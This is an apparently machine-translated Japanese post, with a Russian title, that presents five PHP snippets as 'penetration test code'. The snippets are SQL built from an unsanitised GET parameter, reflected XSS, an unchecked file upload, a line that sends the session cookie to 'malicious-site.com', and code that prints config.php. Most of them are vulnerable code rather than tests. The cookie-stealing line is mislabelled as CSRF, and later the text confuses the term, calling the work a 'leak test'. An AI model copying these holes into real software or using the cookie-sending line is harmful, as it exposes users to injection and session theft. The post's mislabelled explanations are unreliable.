PHP проникновения код тестирования как писать

2年 ago
桜, 春樹
1 minute

侵入テストは、システム内のセキュリティの欠陥を発見し、利用して、それらを修正するためのソリューションを提供するために行われます。侵入テストを実行するためには、攻撃行為をシミュレートし、システムのセキュリティをテストするため、一部の特定のコードを書く必要があります。以下は、一般的な侵入テストコードの一部の例です。

  1. SQLインジェクションテストコード:
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = " . $id;
$result = mysqli_query($conn, $query);
  1. XSS（クロスサイトスクリプティング）テストコード：
$name = $_GET['name'];
echo "<script>alert('Hello, " . $name . "');</script>";
  1. ファイルアップロードにおける脆弱性テスト用コード:
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
  1. クロスサイトリクエストフォージェリ（CSRF）テストコード:
echo "<img src='http://malicious-site.com/attack.php?cookie=" . $_COOKIE['session'] . "' />";
  1. 機密情報漏洩テストコード
$filename = "config.php";
$filecontent = file_get_contents($filename);
echo $filecontent;

これらは漏洩テストコードの一例に過ぎず、具体的なコードは漏洩テストの対象とシステム環境により異なります。漏洩テストは合法で、許可された場合にのみ実行し、不法行為には使用しないでください。

bannerAds